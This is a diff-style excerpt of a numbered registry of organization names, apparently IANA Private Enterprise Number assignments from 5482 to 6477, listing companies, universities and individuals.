+5482 Murakami Electro-Communication Laboratories, Inc.
+5483 Netensity, Inc.
+5484 University of the Aegean
+5485 The OPEN Group Ltd
+5486 China Merchants Bank
+5487 Multitrade Spa
+5488 Temblast
+5489 ALS International Ltd.
+5490 CommNav, Inc.
+5491 UPS Manufacturing
+5492 Telephia
+5493 Palm Computing
+5494 Marathon Innovations, Inc.
+5495 Convergence Equipment Company
+5496 GEMPLUS
+5497 Trondent Development Corp.
+5498 Kardinia Software
+5499 YhKim Co. Ltd.
+5500 Gemeentelijk Havenbedrijf Rotterdam
+5501 NTT PC Communications, Inc.
+5502 Canon Finetech Nisca Inc.
+5503 Orinda Technology Group
+5504 Zhone Technologies, Inc.
+5505 Metrostat Technologies, Inc.
+5506 Digital-X, Inc.
+5507 Tight Informatics
+5508 SWOD Org.
+5509 B&E Construction Co. Dennis
+5510 PrismTech
+5511 syscall() Network Solutions GbR
+5512 GMD FIRST
+5513 iXL
+5514 Timeline Technology Inc.
+5515 Directory Tools and Application Services, Inc.
+5516 SecureWorks, Inc.
+5517 Rapid5 Networks
+5518 TDS Telecom
+5519 LSITEC
+5520 Alfred Wegener Institute for Polar and Marine Research
+5521 St. John Health System
+5522 Cybernet Corporation
+5523 GRCP
+5524 Emory University
+5525 SSF
+5526 Adero, Inc.
+5527 Context Systems Group
+5528 NetBotz
+5529 Neoforma.com
+5530 Cescom Inc.
+5531 Mien Information Solutions
+5532 Q-Telecell GmbH
+5533 WideAwake Ltd
+5534 Vogon AB
+5535 3rd Generation Partnership Project 2 (3GPP2)
+5536 Quintus Corporation
+5537 Comdial Corporation
+5538 Micron Tech. Information co. kr
+5539 Cybertek Holdings
+5540 RWTH Aachen University
+5541 Paragea Communications, Inc
+5542 eOn Communications Corporation
+5543 INIEMP HOLDINGS CORPORATION S.L.
+5544 Thomson-CSF Systems Canada
+5545 TANTAU Software Inc.
+5546 MailVision Inc.
+5547 BSQUARE Corporation
+5548 Cobalt Networks
+5549 TimesTen Performance Software
+5550 Monggo, Inc.
+5551 Oscilloquartz, S.A.
+5552 Air Atlanta Icelandic
+5553 Macromedia eBusiness Solutions
+5554 SpotCast Communications
+5555 Authentic8 pty Ltd
+5556 Service Factory
+5557 OneMain.com
+5558 S-Link Corporation
+5559 Vitria Technology, Inc.
+5560 The Color Registry
+5561 2nd Wave, Inc.
+5562 Redknee Inc.
+5563 Ola Internet
+5564 Omega Enterprise
+5565 Syswave Co., Ltd
+5566 VisionGlobal Network Corporation
+5567 Riverstone Networks
+5568 Southview Technologies, Inc.
+5569 Soluzioni Tecnologiche Bancarie s.r.l.
+5570 Sony Pictures Entertainment
+5571 GetThere.Com
+5572 HoTek TechnologyCo., Ltd.
+5573 Tong
+5574 BankEngine Inc.
+5575 CertEngine Inc.
+5576 T.I.L.L. Photonics GmbHAnselm Kruis
+5577 Persimmon Development
+5578 New Mexico State University
+5579 Mercata, Inc.
+5580 EXEJone
+5581 Communications Networks of Africa (GH) Ltd (NETAFRICA)
+5582 iTRUST Solutions AG
+5583 MD Information Systems
+5584 General Bandwidth
+5585 Very Clever Software Ltd.
+5586 IPWireless Inc.
+5587 Flughafen Muenchen GmbH
+5588 Thomcast Communication, Inc.Comwave Division ("Comwave")
+5589 Synopsys, Inc.
+5590 Marimba Inc.
+5591 SCTE
+5592 Wilson & Sanders, Inc.
+5593 Magnum Technologies Inc.
+5594 Koankeiso Co., Ltd.
+5595 Ingrian Systems, Inc
+5596 Tandberg ASA
+5597 Meinberg
+5598 Submarine Warfare Systems Centre
+5599 Comp Sci & Eng, 'De Montfort University'
+5600 Clearstream Services
+5601 Clearstream Banking
+5602 T/R Systems, Inc.
+5603 Capital One Financial Services
+5604 digit-safe
+5605 William Data Systems Ltd.
+5606 Cerplus SAPierre
+5607 Erwann ABALEA
+5608 Red Planet Technologies
+5609 Smartleaf, Inc.
+5610 Exbit TechnologyA/S
+5611 vmunix.org
+5612 Korea Data Communications
+5613 tdressler.net (formerly 'SQLcompetence')
+5614 SonyBPE
+5615 Inherit S AB
+5616 TEKOPS
+5617 Trio Communications 2000 Pty. Ltd
+5618 WareNet Inc.
+5619 Amaranth Networks Inc.
+5620 CFX Communications
+5621 Heriot-Watt University
+5622 DreGIS GmbH
+5623 KPMG
+5624 Enterasys Networks
+5625 A. Gell, CxA
+5626 Internet Barter Inc.aka Bartertrust.com
+5627 Hitachi Process Computer Engineering, Inc.
+5628 X.O. Soft, Ltd
+5629 Continuus Software Corporation
+5630 ExiO Communications Inc.
+5631 Alliance Systems, Inc.
+5632 TelePassport Hellas S.A.
+5633 BASF Computer Services GmbH
+5634 Universiteit van Amsterdam
+5635 Dale W. Liu
+5636 Dignos EDV GmbH
+5637 IDN Technology Inc.
+5638 PK Electronics
+5639 Dept. Of Biology Western KY University
+5640 Lama Law Firm
+5641 Anthem Inc.
+5642 MicroCast, Inc.
+5643 University of Arizona
+5644 PassEdge
+5645 BowStreet Software
+5646 Onyx Networks
+5647 Emperative, Inc.
+5648 L-3 Communications (PrimeWave Communications)
+5649 Webswap Inc.
+5650 Merck & Co., Inc.
+5651 Maipu Electric Industrial Co., Ltd
+5652 Kraig Sigman
+5653 CSP
+5654 Ando Electric Corporation
+5655 P-Cube Ltd.
+5656 Monmouth University
+5657 Universidad de La Coruna
+5658 ISL, Institute of Shipping Economics and Logistics
+5659 CoProSys Inc.
+5660 XI'AN DATANG TELEPHONE Corp.
+5661 T-Mobile
+5662 Nordic Global Inc.
+5663 TecnoLogica Informatica
+5664 Monastery of the Glorious Ascension, Inc.
+5665 Vertical One, Inc.
+5666 Servevcast
+5667 Teldata Computer Industries, Inc.
+5668 Mycroft Inc.
+5669 Digital Island
+5670 Redwood Technologies Ltd.
+5671 Horus IT GmbH
+5672 CIENA Corporation (formerly 'ONI Systems Corp.')
+5673 eConvergent, Inc.
+5674 Texcel Technology Plc.
+5675 Genosys Technology Management Inc.
+5676 DataFlow/Alaska, Inc.
+5677 Clunix, Inc.
+5678 Stalker Software, Inc
+5679 EWE & EVE's Gourds & Things
+5680 Windsor Group
+5681 fruittm
+5682 Synergon Ltd.
+5684 Metro Optix, Inc.
+5685 DataLink SNMP Solution
+5686 A H Computer Company
+5687 Icon Laboratories, Inc.
+5688 StrataSource, Inc.
+5689 Net & Sys Co., Ltd
+5690 Agri-Com Holdings
+5691 SilverPlatter Information
+5692 Kilfoil Information Technologies, Inc.
+5693 Accordion Networks
+5694 Integrated Digital Solutions Limited
+5695 bbq.com
+5696 Walter Graphtek GmbH
+5697 HanseNetTelefongesellschaft mbH
+5698 Digitrans
+5699 Cornerstone Solutions Corporation
+5700 University of the West Indies
+5701 Maple Networks, Inc.
+5702 Touch Technology International
+5703 NVIDIA Corporation
+5704 CITGO Petroleum Corporation
+5705 DTA
+5706 LGS Group Inc.
+5707 Fiberspace Unlimited, LLC
+5708 CTS Network Services
+5709 EDS/CFSM
+5710 Wellknit
+5711 ECCS, Inc.
+5712 System Integrators, Incorporated
+5713 Niksun Inc.
+5714 Insh_Allah
+5715 Enigma Enterprises
+5716 WebSpectrum Software Pvt. Ltd.
+5717 UUcom
+5718 Cellit, Inc.
+5719 PNC Financial Services Group
+5720 iMimic Networking, Inc.
+5721 IntellOps
+5722 OPNET Technologies, Inc (formerly 'Altaworks Corporation')
+5723 SAMAC Software GmbH
+5724 Cicero Communications, Inc.
+5725 Xel Communications
+5726 Lyondell Chemical Company
+5727 Smart Card Applications Pty Limited
+5728 K Ring Technologies
+5729 SQLI
+5730 Simpson Professional Services
+5731 DJM Enterprises
+5732 One, Inc - Plano
+5733 Dept.3,ISCAS(Institute of Software, the Chinese Academyof Sciences
+5734 FABRICA NACIONAL DE MONEDA Y TIMBRE - REAL CASA DE LA MONEDA
+5735 EBSnet Inc.
+5736 Power Conversion Products, LLC
+5737 E-Commerce Enterprises, LLC
+5738 Vovida Networks
+5739 Xpeed, Inc.
+5740 Birionic Pvt Ltd
+5741 a2zcom
+5742 S.S.C. 'HENGELO'
+5743 GT Group Telecom Services Corp.
+5744 TARSEC Inc.
+5745 Ericsson Nikola Tesla d.d.
+5746 Lanex Sp. z o.o.
+5747 Bluetail AB
+5748 Applied Expert Systems
+5749 TGS-NOPEC Geophysical Company
+5750 General Mills
+5751 Illumination Enterprises, Inc.
+5752 HyperSoft, Inc.
+5753 University of Maribor
+5754 Clearstream International
+5755 ITS (UK) Ltd.
+5756 Supertel , JSC
+5757 Trilithic
+5758 Stins Coman
+5759 bridges.com
+5760 Bell Atlantic Mobile
+5761 Hannetware Inc.
+5762 Interland
+5763 DB POWER ELECTRONICS (P) Ltd.
+5764 Jazzey GmbH
+5765 aXess-pro networks GmbH
+5766 IBM Global Services
+5767 Quark, Inc.
+5768 Polish-Japanese Institute of Information Technology
+5769 HealthMagic, Inc.
+5770 Medepass.com, Inc.
+5771 Cisco Systems, Inc.
+5772 C-it
+5773 Equiinet Ltd.
+5774 Beijing Telecable Network System Ltd.
+5775 Advanced Technology Solutions International
+5776 Express Scripts, Inc.
+5778 Universidad Autonoma de Madrid
+5779 Data-GUYS Inc.
+5780 PDA Verticals Corp.
+5781 Jordan Network Engineering
+5782 University of Wisconsin System
+5783 BROADPAC Communications
+5784 Cogita Ltd
+5785 Intershop Communications AG
+5786 Mc Coy Marine Consultants
+5787 Adventist Health
+5788 Softdev Corp.
+5789 MobileQ.com Inc.
+5790 Shawn Starr
+5791 Compu-Mentor, Inc.
+5792 Dean Gakis
+5793 The Edge Consultants
+5794 OBR CTM
+5795 BPT TELBANK SA
+5796 STC Informatik
+5797 Western Power Distribution
+5798 VIACCESS S.A.
+5799 Nyherji
+5800 Cruise Controls Pvt. Ltd.- FRESNEL
+5801 Second Opinion Software
+5802 Electroline Equipment Inc.
+5803 2AB, Inc.
+5804 Lantern Communications
+5805 Televideo, Inc.
+5806 SK Telecom
+5807 Flora van Kesteren Tuinadviezen
+5808 INRANGE Technologies Corporation
+5809 Nieden-Nsm
+5810 Global Crossing
+5811 The GoldParrot Corporation
+5812 Coriolis Networks
+5813 The OpenNMS Group, Inc.
+5814 GCI Communications Corp
+5815 Optima Tele.com, Inc.
+5816 Lockstep Systems
+5817 High Precision Record Company Limited
+5818 Cherry Cyber Net
+5819 X.Net Ltda
+5820 Flyforms
+5821 Orangesoft, Inc.
+5822 Reynolds and Reynolds Pty Ltd
+5823 nRose
+5824 Nikkai Electronic, Inc.
+5825 Native Networks
+5826 MIND CTI Ltd.
+5827 HERMES SoftLab
+5828 SpaceNet Communication AB
+5829 AMCC Switching Corp.
+5830 XcelleNet
+5831 Cleondris GmbH
+5832 Horgan.net
+5833 Tailyn Communication Company
+5834 Identikey ltd
+5835 Newtec Cy
+5836 TOYO COMMUNICATION EQUIPMENT CO., LTD
+5837 Nedcor Limited
+5838 Cabletime Ltd
+5839 Bioplasma Andaluza S.L.
+5840 Aravox Technologies, Inc.
+5841 Netfish Technologies
+5842 Cisco Systems
+5843 FiberLogic Communications
+5844 LG Space Engineering Corp
+5845 Cyberus Online Inc.
+5846 NetCentrex
+5847 Knowledge Design
+5848 Rissa Solutions Corp.
+5849 Signal-COM
+5850 H.S. Leader Srl
+5851 eWindowShop.com
+5852 Oscar Jacobsson
+5853 Bell Technology
+5854 Bell Network Solutions
+5855 John Deere (dba Deere & Company)
+5856 Vianet Technologies, Inc.
+5857 VirtualWorkout
+5858 Cyclone Commerce, Inc.
+5859 EFA Software Services Ltd.
+5860 TeleNet Inc.
+5861 Mitsubishi Heavy Industries, Ltd
+5862 CEYCO Internet Applications
+5863 D'ALASKA CO.
+5864 REITC, LLC
+5865 Parallel Networks
+5866 London School of Economics Computer Security Research Centre
+5867 San Joaquin Delta Community College District
+5868 CRONOS Research Centre Sdn Bhd
+5869 Deutsche Post eBusiness
+5870 BioFone Inc.
+5871 HyperXS
+5872 TDC Systems
+5873 Software Dynamics Inc.
+5874 Tellabs MNG
+5875 China Advanced Info-Optical Network (CAINONET)
+5876 A2B s.r.o.
+5877 Ruhr-Universitaet Bochum
+5878 NICE GmbH
+5879 Unassigned
+5880 Opteway
+5881 ARZ Allgemeiness Rechenzentrum GmbH
+5882 Inopoly Inc.
+5883 Zaffire, Inc.
+5884 University of Utah
+5885 McGough Enterprises L.L.C.
+5886 NuSpeed Internet Systems
+5887 Falconnect, Inc.
+5888 Agiliti, Inc.
+5889 Universidad Iberoamericana GC
+5890 Lantop Systems LTD
+5891 Autotote Systems, Inc.
+5892 Legacy Computer Services Limited
+5893 PinPoint Corporation
+5894 Dreamchal Inc.
+5895 At Fut AS
+5896 csseEvens St. Hilaire
+5897 BP Amoco PLC
+5898 RITLABS S.R.L.
+5899 Microm Electronics
+5900 Schrader-Bridgeport International
+5901 Nominum Inc.
+5902 Maharajah Infosys
+5903 Pace Micro Technology plc
+5904 Walgreens
+5905 StorageNetworks
+5906 Travsys BV
+5907 Lokasoft
+5908 Otelnet, Inc.
+5909 Skybitz Inc.
+5910 Availant
+5911 cbrook
+5912 Yuasa Corporation
+5913 Oliver Fehr
+5914 Balsa Software
+5915 Trilogic Systems
+5916 i-Nebula.com
+5917 Gigalink
+5918 BBL
+5919 Departamento de Informatica da Fac. Ciencias da Univ. Lisboa
+5920 Zurich Financial Services Group
+5921 Sema Group AB
+5922 Real Time Monitors, Inc.
+5923 Internet2
+5924 Xevo Corp.
+5925 Interactive People Unplugged AB
+5926 interlink
+5927 NexComm Systems, Inc.
+5928 Zydacron, Inc.
+5929 Amer.com
+5930 ImagicTV Inc.
+5931 PRESIDEO, Inc.
+5932 OpenSystems.com, Inc.
+5933 Software Services
+5934 University of Louisiana at Lafayette
+5935 ACADEMIA Sinica Computing Centre
+5936 Ahhaaa AB
+5937 HypoVereinsbank
+5938 Macfarlane TeleSystems Ltd.
+5939 HALCOM d.d.
+5940 Red Lion Controls (JBM Electronics Co., Inc.)
+5941 Cosmocom Inc.
+5942 ThoughtShare Communications
+5943 MatchCraft, Inc.
+5944 nROSE
+5945 AtBusiness Communications Oyj
+5946 MULTITEL Inc.
+5947 WebForce LLC
+5948 3NO Systems
+5949 IBM, AIX Tools Team
+5950 Imagineering Inc.
+5951 Netscaler
+5952 Breakaway Solutions, Inc.
+5953 EleTel Inc.
+5954 Aaron Telecommunication Technology
+5955 ASCONA
+5956 Travelport (formerly 'Worldspan')
+5957 Essematica S.r.l.
+5958 KCell
+5959 Eastern Communications Co. Ltd.
+5960 CEFRIEL
+5961 Powec AS
+5962 David Clunie
+5963 RadioScape Ltd.
+5964 Fenestrae B.V.
+5965 Cenosis
+5966 Hummingbird Ltd.
+5967 Jane Ellen Shatz, Ph. D.
+5968 VAMS
+5969 Lightspeed Systems
+5970 CSIRO
+5971 LEAD Technologies, Inc.
+5972 AirNet Communications Corporation
+5973 Rainbow Technologies, Inc.
+5974 Telecom Technologies, Inc.
+5975 Telchemy
+5976 Red Hill Networks
+5977 University of Texas at Dallas (UTD)
+5978 California State University Northridge
+5979 CSCare Inc.
+5980 CSSoftware Inc.
+5981 MTG AG
+5982 Infor
+5983 Descartes Systems Group Inc.
+5984 Cedere Corporation
+5985 BioCor, L.L.C.
+5986 Vpacket Communications, Inc.
+5987 Pacific Broadband Communications
+5988 esutel
+5989 Go.com
+5990 INFORMZASCHITA
+5991 Ntown Communications, Inc.
+5992 ePower Solutions, Inc.
+5993 Terabeam Networks
+5994 Arcom Control Systems
+5995 Everypath Inc.
+5996 Communication Weaver Co., Ltd.
+5997 TeamTronic p.s.c.r.l.
+5998 CITI-DIC IT CO., LTD
+5999 SCITEL Industrieberatungs-GmbH
+6000 CES Computer Solutions Inc.
+6001 Memorial Sloan-Kettering Cancer Center
+6002 Impresse Corporation
+6003 Jasmine Networks, Inc.
+6004 SYSMATE Co., Ltd.
+6005 City of Sydney
+6006 The Schleutker Sites
+6007 Redux Communications Ltd.
+6008 Lynxus, Inc.
+6009 gcs Global Communication & Services GmbH
+6010 SERVICECO
+6011 Cinta Corporation
+6012 PiNGPoNG.CoM
+6013 Tieturi
+6014 National Library of Medicine
+6015 Chicago Board Options Exchange
+6016 Technauts
+6017 G2X Software
+6018 Excel Medical Electronics Inc.
+6019 Simplified Telesys, Inc.
+6020 Lutris Technologies
+6021 Arcadian Wireless
+6022 DFKI GmbH
+6023 Steele Raymond Solicitors
+6024 Scannex Electronics Ltd.
+6025 Advanced Network Solutions S.p.A.
+6026 U.S. Army STRICOM
+6027 Force10 Networks, Inc.
+6028 ODSI Coalition
+6029 Exactis.com
+6030 Fluke Electronics
+6031 Computer Problem Solving
+6032 Stainless Steel Networks
+6033 e-talk Corporation
+6034 BroadJump
+6035 Sensis Corporation
+6036 Bose Corporation
+6037 Edge Networks Corp.
+6038 Netwhistle.com
+6039 Resscom Computers and Communications
+6040 University of Kalmar
+6041 Kokua Communications
+6042 Southeastern Aluminum Products, Inc.
+6043 AstroTerra Corporation
+6044 Poyntz, Inc.
+6045 Synaptique Information & Technologie
+6046 Near2 Communications, Inc.
+6047 Florida Teaching Profession - NEA
+6048 Exyst
+6049 Hitachi Information Systems, Ltd.
+6050 GAMATRONIC ELECTRONIC INDUSTRIES LTD
+6051 Ameritrade
+6052 Novasonics
+6053 Eredyne Corporation
+6054 Access360
+6055 Lees Communication
+6056 Rensselaer Polytechnic Institute
+6057 AppNet
+6058 Havas Interactive
+6059 AdNovum Informatik AG
+6060 ISP Systems Pty. Ltd.
+6061 Netuitive, Inc.
+6062 TEKELEC TEMEX
+6063 Axent Technologies, Inc.(Utah)
+6064 JK microsystems
+6065 ZUniversity.com
+6066 Occam Networks, Inc.
+6067 Adapcom, Inc.
+6068 kc. marching
+6069 BlocWare, Inc.
+6070 AVIV INFOCOM CO.,
+6071 SIGMA Informatique
+6072 Plan Software GmbH
+6073 Business Global Systems
+6074 Cenosis, Inc.
+6075 Siemens AG
+6076 TrelliSoft, Inc.
+6077 Call-Net Technology Services Inc.
+6078 CyberIntelligent Technologies
+6079 appoconnect.com
+6080 BridgeWave Communications
+6081 Nexsi
+6082 AReS
+6083 AATR
+6084 PRISMedia Networks, Inc.
+6085 Hypergene AB
+6086 New York Life Insurance Co.
+6087 Mentat Inc.
+6088 opNIX, Inc.
+6089 LastMile
+6090 DespatchBox
+6091 epki
+6092 Agillion Corporation
+6093 TESSAG AG
+6094 Wapcom
+6095 KHALED FAHMI
+6096 Netsecure Software
+6097 State of Michigan
+6098 AvantGo
+6099 INTELLIDEN, Incorporated
+6100 Covalent Technologies, Inc.
+6101 Trend Micro Inc.
+6102 Integrated Research Ltd.
+6103 Al Rasheed
+6104 Cosmobridge Co., Ltd.
+6105 Center Vlade za Informatiko
+6106 Maharaja Infosys Limited
+6107 IDN Telecom, Inc.
+6108 Insurance Auto Auctions
+6109 ADIC
+6110 Atrica
+6111 Worldsport Networks Ltd.
+6112 XINETRON CO., LTD
+6113 Datek Telecom S.A.
+6114 ProSyst Software AG
+6115 Open Interactive Limited
+6116 Medtegrity, Inc.
+6117 Fiber Network Engineering
+6118 Quintiles
+6119 IPWorks, Inc.
+6120 NXTV
+6121 Excite@Home E-Business Services
+6122 Mover S.p.A.
+6123 National Institute of Telecommunications
+6124 Sane Solutions, LLC
+6125 ACERFI-MICRONICSFrancois Regis K.
+6126 epicRealm
+6127 LapLink.com
+6128 Wireless Planet
+6129 Bromax Communication Inc.,
+6130 CVI
+6131 Starmedia Mobile
+6132 LVL7 Systems, Inc.
+6133 Dead Fish Technologies
+6134 Trioniq
+6135 Chubu Telecommunications Co., Inc.
+6136 idealhost.com
+6137 University of Canterbury
+6138 Trasys
+6139 Healthcare Specialists, Inc.
+6140 Enikia Incorporated
+6141 World Wide Packets
+6142 TF1
+6143 Eventlogic
+6144 SUNTECH Sp. zo.o
+6145 Cendio Systems AB
+6146 Whirlpool Corporation
+6147 Alliegiance Telecom
+6148 Cidera, Inc.
+6149 London School of Economics
+6150 Open Networks Engineering Ltd.
+6151 Copyprint S.L.
+6152 Sendmail, Inc.
+6153 JOLT Ltd.
+6154 Soneris Engineering
+6155 FIREBIT Ltd.
+6156 TTC TESLA TELEKOMUNIKACE, Ltd.
+6157 ICCRI BANCA FEDERALE EUROPEA SPA
+6158 NAGUS
+6159 University of Iowa
+6160 Affinity Technology Group
+6161 OnFiber Communications, Inc.
+6162 Solid Data Systems
+6163 Inara Networks, Inc.
+6164 Kinva Network System Ltd.
+6165 Portwell Inc.
+6166 Interactive Enterprise
+6167 SPHINX
+6168 Banco do Brasil S/A
+6169 Serendipity Simplex
+6170 PartMiner, Inc.
+6171 Kidata AG
+6172 Worldwide Entrepreneuric Enterprises, Inc.
+6173 Fisher & Paykel Industries Limited
+6174 Fusionx
+6175 Pines of Woodedge
+6176 VIPCom
+6177 Blitz Information Technologies Berhad
+6178 NTT Advanced Technology Corporation
+6179 R.M. EDIZIONI SRL
+6180 CanDo.com
+6181 Creative Logic Corporation
+6182 Encore Electronics Inc.
+6183 Sharemedia
+6184 Mitsui & Co., Ltd.
+6185 Ghent University
+6186 Space CyberLink Inc.
+6187 Dartmouth-Hitchcock Medical Center
+6188 University of Massachusetts Lowell
+6189 Atos Information Technology GmbH - Trustcenter
+6190 Network365 Ltd
+6191 Plasmon, Inc.
+6192 Environmental Monitoring Solutions
+6193 CPL Systems Ltd.
+6194 NetCalibrate Inc.
+6195 Advanced Communication Research
+6196 Atlantec Enterprise Solutions GmbH
+6197 Arcordia/JP Morgan Chase
+6198 Eastern Nazarene College
+6199 Nyherji hf
+6200 DNPG
+6201 Asenti, Inc.
+6202 Nimble, Inc.
+6203 Topspin Networks
+6204 SIBS - Sociedade Interbancaria de Servicos, S.A.
+6205 LKC-Technology
+6206 eCritical Inc.
+6207 The Polished Group SA
+6208 Enterprise Internet Services Limited
+6209 The Open University
+6210 Mayah Communications GmbH
+6211 Murex
+6212 XM Satellite Radio, Inc.
+6213 Redline Networks, Inc.
+6214 SureFire Commerce Inc.
+6215 Streaming21, Inc.
+6216 Ci Technologies
+6217 ngkindsoftltd
+6218 SCAN COIN
+6219 Iskra SYSEN d.d.
+6220 Cyber Internet Services
+6221 BAE Systems, CNIR
+6222 STSN, Inc.
+6223 CDS Technologies
+6224 Roxy.com
+6225 Broadcast Towers
+6226 BARIELD'S INTERNET PROVIDER SERVICE
+6227 Resolve Engineering Pty Ltd
+6228 Engineering Center for Information Security,Chinese Acadamy of Sciences
+6229 Tango/04 Computing Group
+6230 SITE Skunkworks
+6231 Fiduciary Automation
+6232 Corinex Global Corp.
+6233 UUNET EMEA
+6234 Paul Abrahams, Sc.D.
+6235 nawilson.com
+6236 Crayfish Co.,Ltd.
+6237 NetAge Solutions GmbH Netzwerklösungen
+6238 Queen Mary, University of London
+6239 TechnoTrend AG
+6240 Bryttan, Ltd.
+6241 Calvin College
+6242 Possm Technologies
+6243 Weber Enterprise
+6244 PDR/SAGN Publishing
+6245 CiRCLEX Limited
+6246 Mythological Solutions
+6247 Comtech EFData Corporation
+6248 Atecs Dematic
+6249 HCL Technologies Ltd
+6250 PepsiCo Business Solutions Group (PBSG)
+6251 Atoga Systems, Inc.
+6252 SrvLoc.Org
+6253 ipSEAL, Inc
+6254 TimeVision Inc.
+6255 Commerce Onc, Inc.
+6256 Southwest Communications Institute
+6257 Disappearing, Inc.
+6258 Iwatsu Electric Co., Ltd.
+6259 Sohonet Limited
+6261 MAKU Informationstechnik GmbH
+6262 IMC Communications
+6263 Avstar Systems, LLC
+6264 OpenNetwork Technologies
+6265 gocek.com
+6266 Everest eCommerce Inc.
+6267 MUSHTAQ SONS
+6268 Evistel
+6269 DiGiMATiON
+6270 iAsiaWorks
+6271 N.S.C.
+6272 KPNQwest Finland
+6273 Weir Consulting Ltd
+6274 Drael Computer Corporation
+6275 HOB GmbH & Co. KG - HOB Germany
+6276 Mahindra British Telecom Limited
+6277 Federación de Organizaciones Privadas de Desarrollo - FOPRIDEH
+6278 Invision.com, Inc
+6279 Visible Markets, Inc.
+6280 Coreon, Inc.
+6281 Jingle Cats Music
+6282 SDC Communications Ltd
+6283 City-Net Technology Inc.
+6284 Wireless Networks, Inc.
+6285 Crossport Systems
+6286 One Tech Telecom Co.,Ltd.
+6287 Nextenso
+6288 Euskaltel S.A.
+6289 Adapcom Inc.
+6290 LightSand Communications, Inc.
+6291 Bates College
+6292 Leadership Technologies, Inc.
+6293 Kasenna, Inc.
+6294 Active Telco
+6295 Wilhoyt Industries
+6296 DASAN Co.,LTD.
+6297 Enel.it
+6298 MP3.com
+6299 SUNY Cortland
+6300 Karl Miller
+6301 Packet Dynamics Ltd
+6302 Vertiv (formerly 'Emerson Energy Systems')
+6303 Cityspace Ltd
+6304 fogcity
+6305 Flextronics International
+6306 Dartware, LLC
+6307 Extreme Networks (formerly 'Ipanema Technologies')
+6308 cholul
+6309 Dan Nielsen Consulting
+6310 KaanBaan Technologies
+6311 Gomez Advisors, Inc.
+6312 Pelican Security, Inc.
+6313 InnovaCom, Inc.
+6314 VillaMontage Systems
+6315 Comissão para Coordenação do Projeto SIVAM
+6316 Bill Fenner
+6317 Netfox
+6318 lesswire AG
+6319 Caldera Systems, Inc.
+6320 simonstl.com
+6321 Calix Networks
+6322 Entone Technologies Ltd.
+6323 NewCross Technologies, Inc
+6324 CoolAlerts, Inc.
+6325 Harmonix Corporation
+6326 LongBoard, Inc.
+6327 Drews TC
+6328 WizWise Technology
+6329 Internet Business Factory
+6330 Microdot Computing Services
+6331 Optimation New Zealand Limited
+6332 Four Seasons Produce, Inc.
+6333 Accord Networks Ltd.
+6334 beTRUSTed
+6335 Adroit Controls
+6336 Digital Fountain
+6337 Crytaliz, Inc.
+6338 Sportshuddle.Com
+6339 Digital China (Shanghai) Networks Ltd.
+6340 Otto Kind
+6341 Harvard University
+6342 Hyperchip, Inc.
+6343 YMCA England
+6344 Hunter Technology Inc.
+6345 Compuprint S.P.A
+6346 DIMAT, S.A.
+6347 Sierra Monitor Corporation
+6348 Liquid Digital Information Systems
+6349 Treeblossom Technologies
+6350 Blue Cross Blue Shield of Michigan
+6351 Shawn Systems, Inc.
+6352 Ciena Corporation (formerly 'Catena Networks')
+6353 Avisto SA
+6354 Telways Communication Co.,Ltd.
+6355 Sipher Internet Tachnology
+6356 Innovative Software AG
+6357 B2 Systems, Inc.
+6358 Unimark, Inc.
+6359 Cyveillance Inc.
+6360 LiveVault Corporation
+6361 Siemens Building Technologies Ltd
+6362 Baumann Technologie
+6363 CyberSolutions GmbH
+6364 Andréa Informatique
+6365 Novamedia Sistemas S.L.
+6366 KOREA LINK
+6367 Linkabit - A Titan Systems Company
+6368 Schmid Telecom AG
+6369 Lexi-Comp, Inc.
+6370 First USA Bank
+6371 Minerva Networks Inc
+6372 Kresa Ranch
+6373 4DL Inc.
+6374 CECI
+6375 CHINA ENGINEERING CONSULTANTS,INC.
+6376 PDVSA
+6377 OpenPages, Inc.
+6378 Lanit
+6379 Servgate Technologies Canada Inc.
+6380 Isdnet
+6381 burst.com
+6382 SAGA Software, Incorporated
+6383 OC
+6384 V&S Multimedia S.A.
+6385 Pfizer
+6386 Saturn Technologies
+6387 Big Band Networks, Ltd
+6388 TeleRelay
+6389 COM DEV International
+6390 DBCORP Information Systems Inc.
+6391 Xtremesoft Inc.
+6392 Chiaro Networks Ltd.
+6393 Haliplex Pty Ltd
+6394 Skelton Consulting GmbH
+6395 ProSaldo Software B.V.
+6396 Absolute Website Solutions
+6397 Nayna Networks, Inc.
+6398 Lindner & Pelc Consult GmbH
+6399 Intelligent Maintenance Systems Ltd (formerly 'Edrich Integration')
+6400 Millenux GmbH
+6401 JTI OF GEORGIA
+6402 OPTEL Ges. für Lasertechnik und Elektronik mbH
+6403 Universidad Blas Pascal
+6404 ECRESO
+6405 Activ Australia
+6406 Neomar
+6407 bit-Services GmbH
+6408 Mikom GmbH
+6409 Mondial Assistance Limited
+6410 Zoneworx, Inc.
+6411 Overland Storage, Inc. (formerly 'Quantum Corp - Snap Division')
+6412 HiddenMind Technology
+6413 I.S. Associates, Inc.
+6414 Embry-Riddle University
+6415 Caspian Networks, Inc.
+6416 SolutionZ Pty Ltd (Australia)
+6417 Victorian Automobile Chamber of Commerce
+6418 The Templar Corporation
+6419 Pro-bel Ltd
+6420 IN-MX
+6421 H M Customs & Excise
+6422 BT
+6423 ObjectSpace, Inc.
+6424 Viawest Internet Services
+6425 Branch Systems
+6426 e-Appliance Corporation
+6427 Locus Dialogue
+6428 T-Online International AG
+6429 ALTO
+6430 Ericsson Consulting GmbH
+6431 BroadSoft, Inc.
+6432 Orblynx, Inc.
+6433 Excel.Net, Inc.
+6434 WebMD
+6435 Holistix, Inc.
+6436 Wapme Systems AG
+6437 Kathrein Werke K.G.
+6438 MKNET ADVIES
+6439 NexTReT s.l.
+6440 TradeCast, Ltd.
+6441 i2 Technologies, Inc.
+6442 TWCT dba Daughters and Dad
+6443 Out of our minds.
+6444 Gearhead Group
+6445 Sportsplanet2000
+6446 Gaton Technologies LTD
+6447 Synaxia Networks
+6448 DigiVision Tech.
+6449 Sectigo Limited
+6450 Idsec Limited
+6451 Mystical Creations
+6452 Advanced Network Solutions, Inc
+6453 CORE COMMUNICATIONS CO., Ltd.
+6454 Postel Services
+6455 Technology Thesaurus Corp.
+6456 NETdefence Co. Limited
+6457 Eureka Soft
+6458 GPr Sistemas Ltda
+6459 Linfield College
+6460 uclick
+6461 Center for Internet Research
+6462 freiheit.com
+6463 VocalData, Inc
+6464 Stevens Institute of Technology OIT
+6465 Sparkworx (formerly 'Cacheon, Inc.')
+6466 The Devil You Say
+6467 Land Of Linking
+6468 Patent Off
+6469 Karma Kahn
+6470 We're no dummies
+6471 Con Temporaries
+6472 Antiballistic
+6473 Halls Of Ivy
+6474 Wiffenpoof
+6475 Home Is The Hunter
+6476 The Craft of Elves
+6477 I Was Misinformed
